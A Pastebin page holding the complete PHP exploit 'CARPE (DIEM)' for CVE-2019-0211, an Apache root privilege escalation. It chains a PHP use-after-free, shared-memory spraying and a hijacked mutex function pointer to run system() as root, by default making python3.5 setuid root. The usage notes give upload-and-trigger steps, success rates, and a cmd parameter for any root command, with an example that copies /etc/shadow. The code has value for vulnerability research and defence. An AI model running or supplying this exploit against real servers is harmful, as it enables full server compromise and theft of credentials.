Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- # CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
- # Charles Fol
- # @cfreal_
- # 2019-04-08
- #
- # INFOS
- #
- # https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
- #
- # USAGE
- #
- # 1. Upload exploit to Apache HTTP server
- # 2. Send request to page
- # 3. Await 6:25AM for logrotate to restart Apache
- # 4. python3.5 is now suid 0
- #
- # You can change the command that is ran as root using the cmd HTTP
- # parameter (GET/POST).
- # Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/
- #
- # SUCCESS RATE
- #
- # Number of successful and failed exploitations relative to of the number
- # of MPM workers (i.e. Apache subprocesses). YMMV.
- #
- # W --% S F
- # 5 87% 177 26 (default)
- # 8 89% 60 8
- # 10 95% 70 4
- #
- # More workers, higher success rate.
- # By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.
- # Generally, failure is due to all_buckets being relocated too far from its
- # original address.
- #
- # TESTED ON
- #
- # - Apache/2.4.25
- # - PHP 7.2.12
- # - Debian GNU/Linux 9.6
- #
- # TESTING
- #
- # $ curl http://localhost/cfreal-carpediem.php
- # $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
- # $ ls -alh /usr/bin/python3.5
- # -rwsr-sr-x 2 root root 4.6M Sep 27 2018 /usr/bin/python3.5
- #
- # There are no hardcoded addresses.
- # - Addresses read through /proc/self/mem
- # - Offsets read through ELF parsing
- #
- # As usual, there are tons of comments.
- #
- o('CARPE (DIEM) ~ CVE-2019-0211');
- o('');
- error_reporting(E_ALL);
- # Starts the exploit by triggering the UAF.
- function real()
- {
- global $y;
- $y = [new Z()];
- json_encode([0 => &$y]);
- }
- # In order to read/write what comes after in memory, we need to UAF a string so
- # that we can control its size and make in-place edition.
- # An easy way to do that is to replace the string by a timelib_rel_time
- # structure of which the first bytes can be reached by the (y, m, d, h, i, s)
- # properties of the DateInterval object.
- #
- # Steps:
- # - Create a base object (Z)
- # - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)
- # - Create DateInterval object ($place) meant to be unset and filled by another
- # - Trigger the UAF by unsetting $y[0], which is still reachable using $this
- # - Unset $place: at this point, if we create a new DateInterval object, it will
- # replace $place in memory
- # - Create a string ($holder) that fills $place's timelib_rel_time structure
- # - Allocate a new DateInterval object: its timelib_rel_time structure will
- # end up in place of abc
- # - Now we can control $this->abc's zend_string structure entirely using
- # y, m, d etc.
- # - Increase abc's size so that we can read/write memory that comes after it,
- # especially the shared memory block
- # - Find out all_buckets' position by finding a memory region that matches the
- # mutex->meth structure
- # - Compute the bucket index required to reach the SHM and get an arbitrary
- # function call
- # - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the
- # bucket
- class Z implements JsonSerializable
- {
- public function jsonSerialize()
- {
- global $y, $addresses, $workers_pids;
- #
- # Setup memory
- #
- o('Triggering UAF');
- o(' Creating room and filling empty spaces');
- # Fill empty blocks to make sure our allocations will be contiguous
- # I: Since a lot of allocations/deallocations happen before the script
- # is ran, two variables instanciated at the same time might not be
- # contiguous: this can be a problem for a lot of reasons.
- # To avoid this, we instanciate several DateInterval objects. These
- # objects will fill a lot of potentially non-contiguous memory blocks,
- # ensuring we get "fresh memory" in upcoming allocations.
- $contiguous = [];
- for($i=0;$i<10;$i++)
- $contiguous[] = new DateInterval('PT1S');
- # Create some space for our UAF blocks not to get overwritten
- # I: A PHP object is a combination of a lot of structures, such as
- # zval, zend_object, zend_object_handlers, zend_string, etc., which are
- # all allocated, and freed when the object is destroyed.
- # After the UAF is triggered on the object, all the structures that are
- # used to represent it will be marked as free.
- # If we create other variables afterwards, those variables might be
- # allocated in the object's previous memory regions, which might pose
- # problems for the rest of the exploitation.
- # To avoid this, we allocate a lot of objects before the UAF, and free
- # them afterwards. Since PHP's heap is LIFO, when we create other vars,
- # they will take the place of those objects instead of the object we
- # are triggering the UAF on. This means our object is "shielded" and
- # we don't have to worry about breaking it.
- $room = [];
- for($i=0;$i<10;$i++)
- $room[] = new Z();
- # Build string meant to fill old DateInterval's timelib_rel_time
- # I: ptr2str's name is unintuitive here: we just want to allocate a
- # zend_string of size 78.
- $_protector = ptr2str(0, 78);
- o(' Allocating $abc and $p');
- # Create ABC
- # I: This is the variable we will use to R/W memory afterwards.
- # After we free the Z object, we'll make sure abc is overwritten by a
- # timelib_rel_time structure under our control. The first 8*8 = 64 bytes
- # of this structure can be modified easily, meaning we can change the
- # size of abc. This will allow us to read/write memory after abc.
- $this->abc = ptr2str(0, 79);
- # Create $p meant to protect $this's blocks
- # I: Right after we trigger the UAF, we will unset $p.
- # This means that the timelib_rel_time structure (TRT) of this object
- # will be freed. We will then allocate a string ($protector) of the same
- # size as TRT. Since PHP's heap is LIFO, the string will take the place
- # of the now-freed TRT in memory.
- # Then, we create a new DateInterval object ($x). From the same
- # assumption, every structure constituting this new object will take the
- # place of the previous structure. Nevertheless, since TRT's memory
- # block has already been replaced by $protector, the new TRT will be put
- # in the next free blocks of the same size, which happens to be $abc
- # (remember, |abc| == |timelib_rel_time|).
- # We now have the following situation: $x is a DateInterval object whose
- # internal TRT structure has the same address as $abc's zend_string.
- $p = new DateInterval('PT1S');
- #
- # Trigger UAF
- #
- o(' Unsetting both variables and setting $protector');
- # UAF here, $this is usable despite being freed
- unset($y[0]);
- # Protect $this's freed blocks
- unset($p);
- # Protect $p's timelib_rel_time structure
- $protector = ".$_protector";
- # !!! This is only required for apache
- # Got no idea as to why there is an extra deallocation (?)
- if(version_compare(PHP_VERSION, '7.2') >= 0)
- $room[] = "!$_protector";
- o(' Creating DateInterval object');
- # After this line:
- # &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str
- # We can control the structure of $this->abc and therefore read/write
- # anything that comes after it in memory by changing its size and
- # making in-place edits using $this->abc[$position] = $char
- $x = new DateInterval('PT1S');
- # zend_string.refcount = 0
- # It will get incremented at some point, and if it is > 1,
- # zend_assign_to_string_offset() will try to duplicate it before making
- # the in-place replacement
- $x->y = 0x00;
- # zend_string.len
- $x->d = 0x100;
- # zend_string.val[0-4]
- $x->h = 0x13121110;
- # Verify UAF was successful
- # We modified stuff via $x; they should be visible by $this->abc, since
- # they are at the same memory location.
- if(!(
- strlen($this->abc) === $x->d &&
- $this->abc[0] == "\x10" &&
- $this->abc[1] == "\x11" &&
- $this->abc[2] == "\x12" &&
- $this->abc[3] == "\x13"
- ))
- {
- o('UAF failed, exiting.');
- exit();
- }
- o('UAF successful.');
- o('');
- # Give us some room
- # I: As indicated before, just unset a lot of stuff so that next allocs
- # don't break our fragile UAFd structure.
- unset($room);
- #
- # Setup the R/W primitive
- #
- # We control $abc's internal zend_string structure, therefore we can R/W
- # the shared memory block (SHM), but for that we need to know the
- # position of $abc in memory
- # I: We know the absolute position of the SHM, so we need to need abc's
- # as well, otherwise we cannot compute the offset
- # Assuming the allocation was contiguous, memory looks like this, with
- # 0x70-sized fastbins:
- # [zend_string:abc]
- # [zend_string:protector]
- # [FREE#1]
- # [FREE#2]
- # Therefore, the address of the 2nd free block is in the first 8 bytes
- # of the first block: 0x70 * 2 - 24
- $address = str2ptr($this->abc, 0x70 * 2 - 24);
- # The address we got points to FREE#2, hence we're |block| * 3 higher in
- # memory
- $address = $address - 0x70 * 3;
- # The beginning of the string is 24 bytes after its origin
- $address = $address + 24;
- o('Address of $abc: 0x' . dechex($address));
- o('');
- # Compute the size required for our string to include the whole SHM and
- # apache's memory region
- $distance =
- max($addresses['apache'][1], $addresses['shm'][1]) -
- $address
- ;
- $x->d = $distance;
- # We can now read/write in the whole SHM and apache's memory region.
- #
- # Find all_buckets in memory
- #
- # We are looking for a structure s.t.
- # |all_buckets, mutex| = 0x10
- # |mutex, meth| = 0x8
- # all_buckets is in apache's memory region
- # mutex is in apache's memory region
- # meth is in libaprR's memory region
- # meth's function pointers are in libaprX's memory region
- o('Looking for all_buckets in memory');
- $all_buckets = 0;
- for(
- $i = $addresses['apache'][0] + 0x10;
- $i < $addresses['apache'][1] - 0x08;
- $i += 8
- )
- {
- # mutex
- $mutex = $pointer = str2ptr($this->abc, $i - $address);
- if(!in($pointer, $addresses['apache']))
- continue;
- # meth
- $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
- if(!in($pointer, $addresses['libaprR']))
- continue;
- o(' [&mutex]: 0x' . dechex($i));
- o(' [mutex]: 0x' . dechex($mutex));
- o(' [meth]: 0x' . dechex($meth));
- # meth->*
- # flags
- if(str2ptr($this->abc, $pointer - $address) != 0)
- continue;
- # methods
- for($j=0;$j<7;$j++)
- {
- $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
- if(!in($m, $addresses['libaprX']))
- continue 2;
- o(' [*]: 0x' . dechex($m));
- }
- $all_buckets = $i - 0x10;
- o('all_buckets = 0x' . dechex($all_buckets));
- break;
- }
- if(!$all_buckets)
- {
- o('Unable to find all_buckets');
- exit();
- }
- o('');
- # The address of all_buckets will change when apache is gracefully
- # restarted. This is a problem because we need to know all_buckets's
- # address in order to make all_buckets[some_index] point to a memory
- # region we control.
- #
- # Compute potential bucket indexes and their addresses
- #
- o('Computing potential bucket indexes and addresses');
- # Since we have sizeof($workers_pid) MPM workers, we can fill the rest
- # of the ap_score_image->servers items, so 256 - sizeof($workers_pids),
- # with data we like. We keep the one at the top to store our payload.
- # The rest is sprayed with the address of our payload.
- $size_prefork_child_bucket = 24;
- $size_worker_score = 264;
- # I get strange errors if I use every "free" item, so I leave twice as
- # many items free. I'm guessing upon startup some
- $spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
- $spray_max = $addresses['shm'][1];
- $spray_min = $spray_max - $spray_size;
- $spray_middle = (int) (($spray_min + $spray_max) / 2);
- $bucket_index_middle = (int) (
- - ($all_buckets - $spray_middle) /
- $size_prefork_child_bucket
- );
- #
- # Build payload
- #
- # A worker_score structure was kept empty to put our payload in
- $payload_start = $spray_min - $size_worker_score;
- $z = ptr2str(0);
- # Payload maxsize 264 - 112 = 152
- # Offset 8 cannot be 0, but other than this you can type whatever
- # command you want
- $bucket = isset($_REQUEST['cmd']) ?
- $_REQUEST['cmd'] :
- "chmod +s /usr/bin/python3.5";
- if(strlen($bucket) > $size_worker_score - 112)
- {
- o(
- 'Payload size is bigger than available space (' .
- ($size_worker_score - 112) .
- '), exiting.'
- );
- exit();
- }
- # Align
- $bucket = str_pad($bucket, $size_worker_score - 112, "\x00");
- # apr_proc_mutex_unix_lock_methods_t
- $meth =
- $z .
- $z .
- $z .
- $z .
- $z .
- $z .
- # child_init
- ptr2str($addresses['zend_object_std_dtor'])
- ;
- # The second pointer points to meth, and is used before reaching the
- # arbitrary function call
- # The third one and the last one are both used by the function call
- # zend_object_std_dtor(object) => ... => system(&arData[0]->val)
- $properties =
- # refcount
- ptr2str(1) .
- # u-nTableMask meth
- ptr2str($payload_start + strlen($bucket)) .
- # Bucket arData
- ptr2str($payload_start) .
- # uint32_t nNumUsed;
- ptr2str(1, 4) .
- # uint32_t nNumOfElements;
- ptr2str(0, 4) .
- # uint32_t nTableSize
- ptr2str(0, 4) .
- # uint32_t nInternalPointer
- ptr2str(0, 4) .
- # zend_long nNextFreeElement
- $z .
- # dtor_func_t pDestructor
- ptr2str($addresses['system'])
- ;
- $payload =
- $bucket .
- $meth .
- $properties
- ;
- # Write the payload
- o('Placing payload at address 0x' . dechex($payload_start));
- $p = $payload_start - $address;
- for(
- $i = 0;
- $i < strlen($payload);
- $i++
- )
- {
- $this->abc[$p+$i] = $payload[$i];
- }
- # Fill the spray area with a pointer to properties
- $properties_address = $payload_start + strlen($bucket) + strlen($meth);
- o('Spraying pointer');
- o(' Address: 0x' . dechex($properties_address));
- o(' From: 0x' . dechex($spray_min));
- o(' To: 0x' . dechex($spray_max));
- o(' Size: 0x' . dechex($spray_size));
- o(' Covered: 0x' . dechex($spray_size * count($workers_pids)));
- o(' Apache: 0x' . dechex(
- $addresses['apache'][1] -
- $addresses['apache'][0]
- ));
- $s_properties_address = ptr2str($properties_address);
- for(
- $i = $spray_min;
- $i < $spray_max;
- $i++
- )
- {
- $this->abc[$i - $address] = $s_properties_address[$i % 8];
- }
- o('');
- # Find workers PID in the SHM: it indicates the beginning of their
- # process_score structure. We can then change process_score.bucket to
- # the index we computed. When apache reboots, it will use
- # all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex
- # which means we control the whole apr_proc_mutex_t structure.
- # This structure contains pointers to multiple functions, especially
- # mutex->meth->child_init(), which will be called before privileges
- # are dropped.
- # We do this for every worker PID, incrementing the bucket index so that
- # we cover a bigger range.
- o('Iterating in SHM to find PIDs...');
- # Number of bucket indexes covered by our spray
- $spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
- # Number of bucket indexes covered by our spray and the PS structures
- $total_nb_buckets = $spray_nb_buckets * count($workers_pids);
- # First bucket index to handle
- $bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);
- # Iterate over every process_score structure until we find every PID or
- # we reach the end of the SHM
- for(
- $p = $addresses['shm'][0] + 0x20;
- $p < $addresses['shm'][1] && count($workers_pids) > 0;
- $p += 0x24
- )
- {
- $l = $p - $address;
- $current_pid = str2ptr($this->abc, $l, 4);
- o('Got PID: ' . $current_pid);
- # The PID matches one of the workers
- if(in_array($current_pid, $workers_pids))
- {
- unset($workers_pids[$current_pid]);
- o(' PID matches');
- # Update bucket address
- $s_bucket_index = pack('l', $bucket_index);
- $this->abc[$l + 0x20] = $s_bucket_index[0];
- $this->abc[$l + 0x21] = $s_bucket_index[1];
- $this->abc[$l + 0x22] = $s_bucket_index[2];
- $this->abc[$l + 0x23] = $s_bucket_index[3];
- o(' Changed bucket value to ' . $bucket_index);
- $min = $spray_min - $size_prefork_child_bucket * $bucket_index;
- $max = $spray_max - $size_prefork_child_bucket * $bucket_index;
- o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
- # This bucket range is covered, go to the next one
- $bucket_index += $spray_nb_buckets;
- }
- }
- if(count($workers_pids) > 0)
- {
- o(
- 'Unable to find PIDs ' .
- implode(', ', $workers_pids) .
- ' in SHM, exiting.'
- );
- exit();
- }
- o('');
- o('EXPLOIT SUCCESSFUL.');
- o('Await 6:25AM.');
- return 0;
- }
- }
- function o($msg)
- {
- # No concatenation -> no string allocation
- print($msg);
- print("\n");
- }
- function ptr2str($ptr, $m=8)
- {
- $out = "";
- for ($i=0; $i<$m; $i++)
- {
- $out .= chr($ptr & 0xff);
- $ptr >>= 8;
- }
- return $out;
- }
- function str2ptr(&$str, $p, $s=8)
- {
- $address = 0;
- for($j=$s-1;$j>=0;$j--)
- {
- $address <<= 8;
- $address |= ord($str[$p+$j]);
- }
- return $address;
- }
- function in($i, $range)
- {
- return $i >= $range[0] && $i < $range[1];
- }
- /**
- * Finds the offset of a symbol in a file.
- */
- function find_symbol($file, $symbol)
- {
- $elf = file_get_contents($file);
- $e_shoff = str2ptr($elf, 0x28);
- $e_shentsize = str2ptr($elf, 0x3a, 2);
- $e_shnum = str2ptr($elf, 0x3c, 2);
- $dynsym_off = 0;
- $dynsym_sz = 0;
- $dynstr_off = 0;
- for($i=0;$i<$e_shnum;$i++)
- {
- $offset = $e_shoff + $i * $e_shentsize;
- $sh_type = str2ptr($elf, $offset + 0x04, 4);
- $SHT_DYNSYM = 11;
- $SHT_SYMTAB = 2;
- $SHT_STRTAB = 3;
- switch($sh_type)
- {
- case $SHT_DYNSYM:
- $dynsym_off = str2ptr($elf, $offset + 0x18, 8);
- $dynsym_sz = str2ptr($elf, $offset + 0x20, 8);
- break;
- case $SHT_STRTAB:
- case $SHT_SYMTAB:
- if(!$dynstr_off)
- $dynstr_off = str2ptr($elf, $offset + 0x18, 8);
- break;
- }
- }
- if(!($dynsym_off && $dynsym_sz && $dynstr_off))
- exit('.');
- $sizeof_Elf64_Sym = 0x18;
- for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++)
- {
- $offset = $dynsym_off + $i * $sizeof_Elf64_Sym;
- $st_name = str2ptr($elf, $offset, 4);
- if(!$st_name)
- continue;
- $offset_string = $dynstr_off + $st_name;
- $end = strpos($elf, "\x00", $offset_string) - $offset_string;
- $string = substr($elf, $offset_string, $end);
- if($string == $symbol)
- {
- $st_value = str2ptr($elf, $offset + 0x8, 8);
- return $st_value;
- }
- }
- die('Unable to find symbol ' . $symbol);
- }
- # Obtains the addresses of the shared memory block and some functions through
- # /proc/self/maps
- # This is hacky as hell.
- function get_all_addresses()
- {
- $addresses = [];
- $data = file_get_contents('/proc/self/maps');
- $follows_shm = false;
- foreach(explode("\n", $data) as $line)
- {
- if(!isset($addresses['shm']) && strpos($line, '/dev/zero'))
- {
- $line = explode(' ', $line)[0];
- $bounds = array_map('hexdec', explode('-', $line));
- $msize = $bounds[1] - $bounds[0];
- if ($msize >= 0x10000 && $msize <= 0x16000)
- {
- $addresses['shm'] = $bounds;
- $follows_shm = true;
- }
- }
- if(
- preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) &&
- strpos($line, 'r-xp')
- )
- {
- $offset = find_symbol($matches[1], 'system');
- $line = explode(' ', $line)[0];
- $line = hexdec(explode('-', $line)[0]);
- $addresses['system'] = $line + $offset;
- }
- if(
- strpos($line, 'libapr-1.so') &&
- strpos($line, 'r-xp')
- )
- {
- $line = explode(' ', $line)[0];
- $bounds = array_map('hexdec', explode('-', $line));
- $addresses['libaprX'] = $bounds;
- }
- if(
- strpos($line, 'libapr-1.so') &&
- strpos($line, 'r--p')
- )
- {
- $line = explode(' ', $line)[0];
- $bounds = array_map('hexdec', explode('-', $line));
- $addresses['libaprR'] = $bounds;
- }
- # Apache's memory block is between the SHM and ld.so
- # Sometimes some rwx region gets mapped; all_buckets cannot be in there
- # but we include it anyways for the sake of simplicity
- if(
- (
- strpos($line, 'rw-p') ||
- strpos($line, 'rwxp')
- ) &&
- $follows_shm
- )
- {
- if(strpos($line, '/lib'))
- {
- $follows_shm = false;
- continue;
- }
- $line = explode(' ', $line)[0];
- $bounds = array_map('hexdec', explode('-', $line));
- if(!array_key_exists('apache', $addresses))
- $addresses['apache'] = $bounds;
- else if($addresses['apache'][1] == $bounds[0])
- $addresses['apache'][1] = $bounds[1];
- else
- $follows_shm = false;
- }
- if(
- preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) &&
- strpos($line, 'r-xp')
- )
- {
- $offset = find_symbol($matches[1], 'zend_object_std_dtor');
- $line = explode(' ', $line)[0];
- $line = hexdec(explode('-', $line)[0]);
- $addresses['zend_object_std_dtor'] = $line + $offset;
- }
- }
- $expected = [
- 'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor'
- ];
- $missing = array_diff($expected, array_keys($addresses));
- if($missing)
- {
- o(
- 'The following addresses were not determined by parsing ' .
- '/proc/self/maps: ' . implode(', ', $missing)
- );
- exit(0);
- }
- o('PID: ' . getmypid());
- o('Fetching addresses');
- foreach($addresses as $k => $a)
- {
- if(!is_array($a))
- $a = [$a];
- o(' ' . $k . ': ' . implode('-0x', array_map(function($z) {
- return '0x' . dechex($z);
- }, $a)));
- }
- o('');
- return $addresses;
- }
- # Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,
- # matching the cmdline and the UID
- function get_workers_pids()
- {
- o('Obtaining apache workers PIDs');
- $pids = [];
- $cmd = file_get_contents('/proc/self/cmdline');
- $processes = glob('/proc/*');
- foreach($processes as $process)
- {
- if(!preg_match('#^/proc/([0-9]+)$#', $process, $match))
- continue;
- $pid = (int) $match[1];
- if(
- !is_readable($process . '/cmdline') ||
- !is_readable($process . '/status')
- )
- continue;
- if($cmd !== file_get_contents($process . '/cmdline'))
- continue;
- $status = file_get_contents($process . '/status');
- foreach(explode("\n", $status) as $line)
- {
- if(
- strpos($line, 'Uid:') === 0 &&
- preg_match('#\b' . posix_getuid() . '\b#', $line)
- )
- {
- o(' Found apache worker: ' . $pid);
- $pids[$pid] = $pid;
- break;
- }
- }
- }
- o('Got ' . sizeof($pids) . ' PIDs.');
- o('');
- return $pids;
- }
- $addresses = get_all_addresses();
- $workers_pids = get_workers_pids();
- real();
Advertisement
Add Comment
Please, Sign In to add comment